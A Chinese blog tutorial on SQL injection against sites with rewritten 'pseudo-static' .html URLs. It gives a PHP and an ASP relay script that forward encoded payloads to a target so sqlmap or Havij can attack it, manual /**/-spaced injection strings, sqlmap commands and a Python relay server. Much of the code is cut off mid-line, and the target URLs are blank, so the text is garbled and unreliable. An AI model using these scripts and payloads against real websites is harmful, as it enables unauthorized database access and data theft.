PHP针对伪静态的注入总结【附asp与Python相关代码】

2018-09-07 12:45

阅读:701

  本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

  一:中转注入法

  1.通过做了伪静态之后就成这样了

  2.测试步骤:

  中转注入的php代码:inject.php

   <?php set_time_limit(0); $id=$_GET[id]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url =

  3.本地环境搭建PHP,然后访问

  通过sqlmap或者havj可以跑注入漏洞。

  附录ASP中转代码:

   <% JmdcwName=request(id) JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl=实际上要请求的网址 JMUrl=JMUrl & JmStr&.html //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 JmRef=查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject(msxml2.serverXMLHTTP) With Http .Open GET,PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn= Dim i vstrin=replace(vstrin,%,%25) 增加转换搜索字符, vstrin=Replace(vstrin,chr(32),%20) 转换空格,如果网站过滤了空格,尝试用/**/来代替%20 vstrin=Replace(vstrin,chr(43),%2B)JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),/**/)在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & % & Hex(Hight1) & % & Hex(Low1) End if Next URLEncoding=strReturn End Function %>

  二、手工注入法

  1.

  2.测试注入:

  ′.html


/**/1=1 /*.html

/**/and
/**/1=2 /*.html
′/**/and/**/1=1/*.html 正常
′/**/and/**/1=2/*.html 出错

  3.看页面是否存在差异,相同则不存在,不同存在注入。

  4.联合查询:

  …umns where 1=1.html

  手工注入法(二)

  

  注:

  伪静态的注入和URL的普通GET注入不太相同

  。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

  三、SQLmap方法

  在sqlmap中伪静态哪儿存在注入点就加*

python sqlmap.py -u “″

python sqlmap.py -u “”

  四、python脚本方法

  代码:

   from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find(id=)+3:] proxy_support = urllib2.ProxyHandler({http:

  更多关于PHP相关内容感兴趣的读者可查看本站专题:《php程序设计安全教程》、《php安全过滤技巧总结》、《PHP运算与运算符用法总结》、《PHP网络编程技巧总结》、《PHP基本语法入门教程》、《php面向对象程序设计入门教程》、《php字符串(string)用法总结》、《php+mysql数据库操作入门教程》及《php常见数据库操作技巧汇总》

  希望本文所述对大家PHP程序设计有所帮助。


评论


亲,登录后才可以留言!